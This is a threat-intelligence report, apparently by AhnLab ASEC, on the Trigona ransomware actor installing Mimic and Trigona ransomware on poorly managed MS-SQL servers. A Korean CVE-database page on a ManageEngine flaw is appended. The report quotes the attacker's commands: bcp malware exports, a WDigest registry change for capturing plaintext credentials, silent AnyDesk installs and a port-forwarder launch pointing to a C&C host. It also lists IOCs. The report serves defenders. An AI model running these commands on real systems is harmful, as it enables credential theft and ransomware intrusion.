マルウェアは、実行時に「C:\windows\temp\LeVfeNXHoa」パスに自身をコピーする。その後、伝達された引数に応じて以下のタスクを実行するが、まず、一つ目の引数でサービスの名前を、そして二つ目の引数でコピーするファイルのパスを受け取る。二つ目の引数で受け取ったパスのファイルは、三つ目の引数で伝達されたパスに移動する。ちなみに、二つ目の引数で伝達されたファイルは Mimic ランサムウェアであった。 > %ALLUSERSPROFILE%\pp2.exe 1111111 c:\programdata\K2K.txt c:\programdata\2K.EXE” Launcher マルウェアは、一つ目の引数で伝達された名前である「1111111」で自身をサービスに登録した後、セーフモードでも動作できるように追加のタスクを実行する。その後、サービスで動作すると、三つ目の引数で伝達されたパスのランサムウェアを実行する。ここまでのプロセスが終わると、セーフモード設定を無効化し、正常に起動されるようにする。 図 8. 登録したサービスのセーフモード設定とランサムウェア実行後、これをまた解除するルーチン 4.2. Port forwarder 攻撃者は、以下のような引数を伝達し、Port forwarder マルウェアを実行させた。ポートフォワーディングとは、特定のポートから受け取ったデータを別のポートに伝達する機能である。このマルウェアは、RDP サービス、すなわち3389番ポートに対するポートフォワーディングをサポートする。一般的に RDP 関連のポートフォワーディングツールは、外部から攻撃者が NAT 環境に直接アクセスできない点を克服するために使用される。 Port forwarder は、リバース接続方式で攻撃者のアドレスに接続した後、感染システムの RDP ポートに接続し、2つの通信を仲介する。そのため、攻撃者は NAT 環境で動作中のシステムであっても RDP 接続が可能となり、遠隔で感染システムを操作できるようになる。このように RDP を活用するため、マルウェアは以下のコマンドを実行し、追加で RDP サービスを有効化したりもする。 図 9. RDP サービス有効化ルーチン Port forwarder はインストールモードで実行時、自身を「C:\windows\temp\WindowsHostServicess.exe」パスにコピーし、「WindowsHostServicess」の名前でサービスに登録する。サービスは、上記の Launcher マルウェアと同じくセーフモードでも動作できるように設定する。 > %SystemDrive%\users\%ASD%\music\4.exe –ip “2.57.149[.]233” –port “3366” –install Port forwarder は、5つの引数を持つが、3つはモードとしてそれぞれインストール、削除、そして実行機能をサポートする。実行モードでは、上記のサービスインストールプロセスなしに引数で伝達された C&C サーバーに接続してポートフォワーディングをサポートする。 引数 説明 –install インストールモード –uninstall 削除モード –run 実行モード –ip C&C サーバーの IP アドレス –port C&C サーバーの Port 番号 表1. Port forwarder の引数 C&C サーバーに接続する前には、「C:\windows\temp\elZDk6geQ8」パスに OS 情報やユーザーおよびコンピューター名など、システムの基本的な情報を保存するが、最初に接続する際にこの情報を伝達する。 図 10. C&C サーバーに伝達するシステム情報 その後、C&C サーバーから受け取ったコマンドに応じて、ポートフォワーディングまたは自己削除コマンドを実行することができる。 コマンド 機能 0x8CC03FAF C&C サーバーと RDP サービスに対するポートフォワーディング開始 0x0002C684 自己削除 表2. Port forwarder の引数 5. 結論 最近、Trigona ランサムウェアの攻撃者が不適切に管理されている MS-SQL サーバーを対象に Mimic ランサムウェアおよび Trigona ランサムウェアをインストールしている。攻撃者が、ポートフォワーディング機能を担当するマルウェアを利用して感染システムに RDP で接続し、遠隔操作をしようとする試みも確認された。 Trigona のようなランサムウェア攻撃者は、収益のために感染システムを暗号化し、機密情報を窃取して脅迫する方式を使用している。その他にも、資格情報の窃取およびラテラルムーブメントのための様々な手法を試みるため、企業では単一システムだけでなく企業の内部ネットワーク全体が掌握され、企業の機密情報が窃取されてネットワーク内のシステムが暗号化される可能性がある。 MS-SQL サーバーを対象とする攻撃には代表的に、不適切にアカウント情報を管理しているシステムに対する総当たり攻撃(Brute Forcing)と辞書攻撃(Dictionary Attack)がある。管理者は、アカウントのパスワードを推測が困難な形式で設定し、定期的にパスワードを変更することで、総当たり攻撃や辞書攻撃からデータベースサーバーを保護しなければならない。 そして、V3 を最新バージョンにアップデートしてマルウェアへの感染を事前に遮断できるように注意を払わなければならない。また、外部に開放されていてアクセスが可能なデータベースサーバーに関してはファイアウォールのようなセキュリティ製品を利用し、外部の攻撃者からのアクセスを統制しなければならない。上記のような処置が先行されていない場合、攻撃者およびマルウェアによって感染状態が継続する場合がある。 ファイル検知 – Trojan/Win.Generic.R531737 (2022.10.27.00) – HackTool/Win.DefenderControl.C5481630 (2023.09.06.00) – Ransomware/Win.Mimic.C5543473 (2023.11.18.01) – Ransomware/Win.Filecoder.C5561780 (2023.12.12.01) – Trojan/Win.Agent.C5574264 (2024.01.14.03) – Trojan/Win.Agent.C5574265 (2024.01.14.03) 振る舞い検知 – Malware/MDP.Minipulate.M71 – Persistence/MDP.AutoRun.M203 – DefenseEvasion/MDP.ModifyRegistry.M1234 – Ransom/MDP.Decoy.M1171 – CredentialAccess/MDP.Mimikatz.M4367 IOC MD5 – a24bac9071fb6e07e13c52f65a093fce : Launcher (pp2.exe) – a6e2722cff3abb214dc1437647964c57 : Launcher (pp2.exe) – 3e26e778a4d28003686596f988942646 : Port Forwarder (4.exe) – d6b4b1b6b0ec1799f57142798c5daf5b : Mimic Ransomware Dropper (K2K.exe) – 6d44f8f3c1608e5958b40f9c6d7b6718 : Mimic Ransomware Dropper (K3K.exe) – b3c8d81d6f8d19e5c07e1ca7932ed5bf : Mimic Ransomware (K2K.exe) – a02157550bc9b491fd03cad394ccdfe7 : Mimic Ransomware (3usdaa.exe) – c28b33f7365f9dc72cc291d13458f334 : Trigona Ransomware (build.txt) – ac34ba84a5054cd701efad5dd14645c9 : Defender Control (DC.exe) C&C – 2.57.149[.]233:3366 関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム「AhnLab TIP」サブスクリプションサービスを通して確認できる。
ASEC Trigona Ransomware Threat Actor Uses Mimic Ransomware 2024-01-22
AhnLab SEcurity intelligence Center (ASEC) has recently identified a new activity of the Trigona ransomware threat actor installing Mimic ransomware. Like past cases, the recently detected attack targets MS-SQL servers and is notable for exploiting the Bulk Copy Program (BCP) utility in MS-SQL servers during the malware installation process. Trigona ransomware : Known to have been active since at least June 2022 [1] ; usually targets MS-SQL servers for attacks and is still active. Mimic ransomware : First found in June 2022 [2] . In January 2024, a case was identified where a Turkish-speaking threat actor attacked poorly managed MS-SQL servers and installed Mimic [3] . ASEC first discovered a case of attack using BCP to install Mimic in early January 2024. In mid-January 2024, there were similar types of attacks identified where Trigona was installed instead of Mimic. The threat actor’s email address used in Mimic’s ransom note was not found in other attack cases, but Trigona’s ransom note identified later contained an email address that the Trigona threat actor has been using since early 2023 [4] . Accordingly, the attack detected in mid-January 2024 is thought to be launched by the previous Trigona threat actor, who is also believed to be the same attacker behind the Mimic ransomware attack discovered in early January 2024. This is based on the facts that both cases targeted poorly managed MS-SQL servers, BCP was used for malware installation, and the various strings and paths used in attacks were the same. In addition, the same malware was used in each attack case. 1. Trigona Ransomware Trigona ransomware is developed in Delphi and uses RSA and AES encryption algorithms when encrypting files. A report by Arete in February 2023 confirmed a case of Trigona attacking the ManageEngine vulnerability (CVE-2021-40539) [5] . Also, in April 2023, AhnLab’s ASEC Blog covered a case where it targeted poorly managed MS-SQL servers [6] . MS-SQL servers were targeted again in the recent attack case like cases of 2023, and with the threat actor’s email address saved in the ransom note, it can be confirmed that the recently detected Trigona ransomware’s threat actor is the same attacker responsible for previous cases. Email : farusbig@tutanota[.]com URL : hxxp://znuzuy4hkjacew5y2q7mo63hufhzzjtsr2bkjetxqjibk4ctfl7jghyd[.]onion/ Figure 1. Encrypted files and a ransom note 2. Mimic Ransomware Mimic ransomware is known for exploiting a file search program called Everything while looking for files to encrypt. The threat actor is believed to be employing the Everything tool to accelerate the encryption of files in the target system. The attacker also copied some features of Conti ransomware the source code of which was leaked during the development stage [7] . The Mimic ransomware samples in the Trend Micro report released in January 2023 and the Securonix report released in January 2024 almost had the same external structure as the one used in this attack. The malware was made into a 7z SFX executable and contains a compressed file named “Everything64.dll” which is a password-protected collection of the actual malware files and the Everything tool. When the malware is executed, the 7z and “Everything64.dll” compressed files are decompressed using the appropriate passwords as shown below. > 7za.exe x -y -p58042791667523172 Everything64.dll > 7za.exe x -y -p624417568130113444 Everything64.dll Figure 2. Files included in 7z SFX and the compressed file The folder that is ultimately installed not only contains Mimic ransomware and the Everything tool, but also the Defender Control tool (DC.exe) for deactivating Windows Defender and the SDelete tool (xdel.exe) of Sysinternals. Figure 3. Installed files The threat actor’s email address in the ransom note is different from those used in the Mimic ransomware samples in the January 2023 Trend Micro report and the January 2024 Securonix report, and it is not found in other attack cases either. On the other hand, it is presumed that the Trigona ransomware threat actor is also using Mimic in their attacks based on multiple circumstances that will be discussed later in this post. Email : getmydata@list.ru Figure 4. Encrypted files and a ransom note 3. Malware Installed Using BCP Attack targets are deemed to be poorly managed and externally exposed MS-SQL servers that have simple account credentials, rendering them vulnerable to brute force or dictionary attacks. This can be inferred not only from the fact that the Trigona ransomware threat actor has been targeting these systems in attacks from the past, but also from infection logs of malware including LoveMiner and Remcos RAT from before and after the respective attack processes. 3.1. Files Created Using BCP The BCP utility bcp.exe is a command line tool used to import or export high volumes of external data in MS-SQL servers. It is generally used to save large amounts of data saved in the tables of the SQL servers as a local file or to export data files saved in the local system to the SQL server tables. Threat actors that target MS-SQL servers typically use PowerShell commands to download malware. Recently, some have been exploiting SQLPS, a PowerShell tool included in SQL servers [8] . However, in the case of this attack case, the threat actor most likely employed the method of saving their malware in a database and using BCP to create a local file from it. Figure 5. Creating malware using BCP The threat actor used the following command in “uGnzBdZbsi”, the table containing the Trigona ransomware binary, to export Trigona to a local path. Note that “FODsOZKgAU.txt” is a format file that is thought to contain format information. Figure 6. BCP command used in the attacks The following are BCP commands used to export various malware and tools used in the attacks. Anydesk > bcp “select binaryTable from uGnzBdZbsi” queryout “C:\users\%ASD%\music\AD.exe” -T -f “C:\users\%ASD%\music\FODsOZKgAU.txt” Port forwarder malware > bcp “select binaryTable from uGnzBdZbsi” queryout “C:\users\%ASD%\music\4.exe” -T -f “C:\users\%ASD%\music\FODsOZKgAU.txt” Launcher malware > bcp “select binaryTable from uGnzBdZbsi” queryout “C:\ProgramData\pp2.exe” -T -f “C:\ProgramData\FODsOZKgAU.txt” > bcp “select binaryTable from uGnzBdZbsi” queryout “C:\users\%ASD%\music\pp2.exe” -T -f “C:\users\%ASD%\music\FODsOZKgAU.txt” Mimic ransomware > bcp “select binaryTable from uGnzBdZbsi” queryout “C:\ProgramData\K2K.txt” -T -f “C:\ProgramData\FODsOZKgAU.txt” > bcp “select binaryTable from uGnzBdZbsi” queryout “C:\users\%ASD%\K3K.txt” -T -f “C:\users\%ASD%\FODsOZKgAU.txt” Trigona ransomware > bcp “select binaryTable from uGnzBdZbsi” queryout “C:\users\%ASD%\music\build.txt” -T -f “C:\users\%ASD%\music\FODsOZKgAU.txt” Others > bcp “select binaryTable from uGnzBdZbsi” queryout “C:\ProgramData\kkk.bat” -T -f “C:\ProgramData\FODsOZKgAU.txt” > bcp “select binaryTable from uGnzBdZbsi” queryout “C:\ProgramData\kur.bat” -T -f “C:\ProgramData\FODsOZKgAU.txt” > bcp “select binaryTable from uGnzBdZbsi” queryout “C:\users\%ASD%\music\kkk.bat” -T -f “C:\users\%ASD%\music\FODsOZKgAU.txt” 3.2. Looking Up Information The commands that the threat actor first executes before creating the malware with BCP (meaning that the attack was successful) are those that look up the infected system’s information as shown below. The threat actor would install malware suitable for the environment based on the information gained through these commands. > hostname > whoami > wmic computersystem get domain > wmic computersystem get totalphysicalmemory 3.3. Stealing Account Credentials The Trigona threat actor is known to use Mimikatz to steal account credentials [9] [10] . While no logs of Mimikatz were found in the attack process, the attacker sometimes executed a command to configure the UseLogonCredential registry key to obtain the plain text password using the WDigest security package. > REG ADD “HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\wdigest” /v UseLogonCredential /t REG_DWORD /d 0x00000001 3.4. AnyDesk In addition, the threat actor installed AnyDesk to control the infected system. AnyDesk is a remote administration tool that provides various features such as remote desktop and file transfer. Remote desktop is a feature that allows a user to remotely access an environment installed with RDP or AnyDesk and control it in the GUI environment. AnyDesk is a major remote administration tool exploited not only by the aforementioned Trigona ransomware attacker, but also by most threat groups. There are many cases where remote administration tools are used for legitimate purposes such as working from home or remote control and management. Accordingly, anti-malware products cannot simply detect and block these tools, unlike typical malware. Threat actors take advantage of this fact to install remote administration tools instead of RAT-type malware during the initial access or lateral movement phases to control the target system. > %SystemDrive%\users\%ASD%\music\AD.exe –install C:\”Program Files (x86)”\ –silent > %SystemDrive%\”Program Files (x86)”\AnyDesk-ad_1514b2f9.exe –get-id” 4. Analysis of Malware Used in the Attack Besides using BCP, another notable fact for the recent attack cases confirmed is that there is evidence of safe mode being utilized. Two additional malware deemed to have been created by the threat actor were also found in the Mimic and Trigona ransomware attacks. One is a launcher that registers itself as a service that can run even in safe mode. When it is run as a service, it executes the program given as an argument. The other is a port forwarder malware which, like the launcher, registers itself as a service that can be run in safe mode. It then activates RDP and supports RDP port forwarding to the address given as an argument. According to the PDB information, the threat actor named the launcher malware “app2” and the port forwarder “client”. Figure 7. Malware strains created by the threat actor with similar PDB information Although no malware or command log that sets the system boot option to safe mode was found, logs of the MS-SQL server process executing a system restart command were identified as shown below. As the launcher deactivated the safe mode boot option after executing the malware given as an argument, it is likely that the threat actor installed the malware and then rebooted the system in safe mode to run the ransomware. > shutdown -r -f -t 5 4.1. Launcher Malware The threat actor executed the launcher malware with the argument shown below. Upon execution, the launcher copies itself into the “C:\windows\temp\LeVfeNXHoa” path. It then carries out the next task according to the given argument. The first argument gives the service name and the second argument gives the path of the file to be copied. The file in the path given by the second argument is moved to the path given by the third argument. The file given through the second argument was the Mimic ransomware. > %ALLUSERSPROFILE%\pp2.exe 1111111 c:\programdata\K2K.txt c:\programdata\2K.EXE” The launcher registers itself as a service under the name “1111111” which was given as the first argument and runs additional tasks to allow itself to be run in safe mode. Afterward, it executes the ransomware in the path given as the third argument while running as a service. When the process is complete, it deactivates the safe mode option, allowing the system to be booted up normally again. Figure 8. Routine of setting the safe mode option for the registered service and deactivating this option after executing the ransomware 4.2. Port Forwarder The threat actor gave the following argument to execute the port forwarder malware. Port forwarding is a feature where data transmitted from a certain port is forwarded to another port. This malware supports port forwarding to the RDP service, or port 3389. Generally, RDP-related port forwarding tools are used to overcome the fact that the threat actor cannot directly access the NAT environment from outside. The port forwarder first connects to the threat actor’s address using the reverse connection method and then connects to the RDP port of the infected system, relaying the two connections. Accordingly, the threat actor is able to establish an RDP connection even if the target system is running in a NAT environment, allowing them to control the infected system remotely. Because RDP is utilized in this manner, malware may execute the following commands to additionally enable the RDP service. Figure 9. RDP service activation routine When the port forwarder is executed in installation mode, it copies itself into the “C:\windows\temp\WindowsHostServicess.exe” path and registers itself as a service under the name “WindowsHostServicess”. The service is configured so that it can be run in safe mode like the launcher malware above. > %SystemDrive%\users\%ASD%\music\4.exe –ip “2.57.149[.]233” –port “3366” –install The port forwarder has five arguments. Three of these are modes that support the installation, uninstallation, and execution features. In execution mode, it does not go through the service installation process mentioned above and instead connects to the C&C server given as an argument to support port forwarding. Argument Description –install Installation mode –uninstall Uninstallation mode –run Execution mode –ip C&C server’s IP address –port C&C server’s port number Table 1. Port forwarder arguments Before connecting to the C&C server, it saves basic system information such as the OS info and user and computer names in the “C:\windows\temp\elZDk6geQ8” path, transmitting the information upon the initial connection. Figure 10. System information forwarded to the C&C server Then, it can perform port forwarding or auto-deletion commands based on the commands it receives from the C&C server. Command Feature 0x8CC03FAF Start port forwarding between the C&C server and the RDP service 0x0002C684 Auto-delete Table 2. Port forwarder arguments 5. Conclusion Recently, the Trigona ransomware threat actor has been installing the Mimic and Trigona ransomware on poorly managed MS-SQL servers. It has been found that the attacker also attempted to use malware for port forwarding to establish an RDP connection to the infected system and control it remotely. Ransomware threat actors encrypt infected systems and extort sensitive information to threaten the victims to raise profits. Because they employ various techniques for account credential theft and lateral movement, single systems as well as the entire internal company network may be at risk of being compromised, resulting in having sensitive data stolen and systems in the network encrypted. Typical attacks that target MS-SQL servers include brute force attacks and dictionary attacks to systems where account credentials are poorly being managed. Administrators must use passwords that cannot be easily guessed and change them periodically to protect the database servers from brute force and dictionary attacks. V3 must also be updated to the latest version to block malware infection in advance. Administrators should also use security programs such as firewalls for database servers accessible from outside to restrict access by external threat actors. If the above measures are not taken in advance, continuous infections by threat actors and malware can occur. File Detection – Trojan/Win.Generic.R531737 (2022.10.27.00) – HackTool/Win.DefenderControl.C5481630 (2023.09.06.00) – Ransomware/Win.Mimic.C5543473 (2023.11.18.01) – Ransomware/Win.Filecoder.C5561780 (2023.12.12.01) – Trojan/Win.Agent.C5574264 (2024.01.14.03) – Trojan/Win.Agent.C5574265 (2024.01.14.03) Behavior Detection – Malware/MDP.Minipulate.M71 – Persistence/MDP.AutoRun.M203 – DefenseEvasion/MDP.ModifyRegistry.M1234 – Ransom/MDP.Decoy.M1171 – CredentialAccess/MDP.Mimikatz.M4367 MD5 3e26e778a4d28003686596f988942646 6d44f8f3c1608e5958b40f9c6d7b6718 a02157550bc9b491fd03cad394ccdfe7 a24bac9071fb6e07e13c52f65a093fce a6e2722cff3abb214dc1437647964c57 URL http[:]//2[.]57[.]149[.]233[:]3366/ Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For subscription details, click the banner below.
자동 추천 장비와 근거 참고용
분류 체계(취약점 종류 CWE → 공격 유형 CAPEC → 공격 기법 ATT&CK) 매핑으로 계산한 후보입니다. 범위가 넓어 관련이 적은 장비가 섞입니다. 해당 장비가 이 공격을 탐지한다고 확인한 것은 아니며, 위의 '살펴볼 장비' 와 단계별 판정에는 쓰지 않습니다.
| 장비 | 방법 | 근거 경로 |
|---|---|---|
| 서버 접근제어 ACCESS | attack | CWE-706 > CAPEC-177 > T1036 > Command Execution |
| 엔드포인트 탐지·대응 EDR | attack | CWE-706 > CAPEC-159 > T1574.008 > File Creation |
| 서버 감사 로그 SYSAUDIT | attack | CWE-706 > CAPEC-159 > T1574.008 > File Creation |
취약점 종류 CWE
- CWE-55 Path Equivalence: '/./' (Single Dot Directory)
- CWE-706 Use of Incorrectly-Resolved Name or Reference
영향받는 제품 CPE · 10건
| 제조사 | 제품 | 영향받는 버전 | 표준 표기CPE |
|---|---|---|---|
| zohocorp | manageengine_adselfservice_plus | 6.1 미만 | cpe:2.3:a:zohocorp:manageengine_adselfservice_plus:*:*:*:*:*:*:*:* |
| zohocorp | manageengine_adselfservice_plus | cpe:2.3:a:zohocorp:manageengine_adselfservice_plus:6.1:-:*:*:*:*:*:* | |
| zohocorp | manageengine_adselfservice_plus | cpe:2.3:a:zohocorp:manageengine_adselfservice_plus:6.1:6100:*:*:*:*:*:* | |
| zohocorp | manageengine_adselfservice_plus | cpe:2.3:a:zohocorp:manageengine_adselfservice_plus:6.1:6101:*:*:*:*:*:* | |
| zohocorp | manageengine_adselfservice_plus | cpe:2.3:a:zohocorp:manageengine_adselfservice_plus:6.1:6102:*:*:*:*:*:* | |
| zohocorp | manageengine_adselfservice_plus | cpe:2.3:a:zohocorp:manageengine_adselfservice_plus:6.1:6103:*:*:*:*:*:* | |
| zohocorp | manageengine_adselfservice_plus | cpe:2.3:a:zohocorp:manageengine_adselfservice_plus:6.1:6104:*:*:*:*:*:* | |
| zohocorp | manageengine_adselfservice_plus | cpe:2.3:a:zohocorp:manageengine_adselfservice_plus:6.1:6105:*:*:*:*:*:* | |
| zohocorp | manageengine_adselfservice_plus | cpe:2.3:a:zohocorp:manageengine_adselfservice_plus:6.1:6106:*:*:*:*:*:* | |
| zohocorp | manageengine_adselfservice_plus | cpe:2.3:a:zohocorp:manageengine_adselfservice_plus:6.1:6113:*:*:*:*:*:* |
참고 링크 7건
- 공격 코드 · 제3자 권고 · 취약점 DB http://packetstormsecurity.com/files/165085/ManageEngine-ADSelfService-Plus-Authentication-Bypass-Code-Execution.html
- 제품 페이지 https://www.manageengine.com
- 패치 · 제조사 권고 https://www.manageengine.com/products/self-service-password/kb/how-to-fix-authentication-bypass-vulnerability-in-REST-API.html
- 공격 코드 · 제3자 권고 · 취약점 DB http://packetstormsecurity.com/files/165085/ManageEngine-ADSelfService-Plus-Authentication-Bypass-Code-Execution.html
- 제품 페이지 https://www.manageengine.com
- 패치 · 제조사 권고 https://www.manageengine.com/products/self-service-password/kb/how-to-fix-authentication-bypass-vulnerability-in-REST-API.html
- 미국 정부 자료 https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-40539
용어 설명 CVE · CVSS · EPSS · KEV · NVD …
- CVE 취약점 번호
- 공개된 보안 취약점마다 붙는 국제 고유 번호입니다. 예: CVE-2021-44228(Log4j). 가운데 숫자는 번호를 받은 해입니다.
- CVSS 위험도 점수
- 취약점이 얼마나 위험한지 0~10점으로 매긴 국제 표준 점수입니다. 심각 9.0 이상 · 높음 7.0~8.9 · 중간 4.0~6.9 · 낮음 0.1~3.9. 공격이 얼마나 쉬운지와 피해 크기로 정하며, 실제로 공격받고 있는지는 반영하지 않습니다.
- EPSS 악용 가능성
- 앞으로 30일 안에 실제 공격에 쓰일 확률을 추정한 값(0~100%)입니다. 국제 보안 단체 FIRST 가 매일 계산합니다. 높을수록 먼저 조치하세요.
- KEV 실제 악용 확인
- 미국 사이버보안청(CISA)이 실제 공격에 쓰인 것을 확인한 취약점만 모은 목록입니다. 여기에 있으면 가장 먼저 조치할 대상입니다. '랜섬웨어' 표시는 랜섬웨어 공격에 쓰인 것으로 알려진 것입니다.
- NVD 미국 취약점 DB
- 미국 국립표준기술연구소(NIST)가 운영하는 취약점 데이터베이스입니다. CVE 마다 설명·CVSS 점수·영향받는 제품·취약점 종류를 붙입니다. 이 사이트 설명의 원문 출처입니다.
- 우선순위 이 사이트의 참고 점수
- CVSS·KEV·랜섬웨어·EPSS·ASEC 언급을 합쳐 계산한 점수입니다. 높을수록 먼저 살펴보세요. 공식 점수가 아닙니다.
- ASEC 안랩 분석 글
- 안랩 보안대응센터 블로그입니다. 'ASEC 3' 은 분석 글에 그 CVE 번호가 3번 나왔다는 뜻이며, 국내에서 악용이 확인됐다는 뜻은 아닙니다.
- CWE 취약점 종류
- 취약점 종류의 분류 번호입니다. 예: CWE-89 SQL 인젝션, CWE-79 크로스 사이트 스크립팅.
- CPE 영향받는 제품
- 취약점이 있는 제품과 버전을 적는 표준 표기입니다. 예: apache:tomcat 9.0.0~9.0.80.
- 시나리오 · 번역
- '시나리오' 는 단계별 판정 초안이 있다는 표시입니다(없다고 안전한 것은 아닙니다). '(번역)' 은 Claude 로 기계 번역한 설명입니다.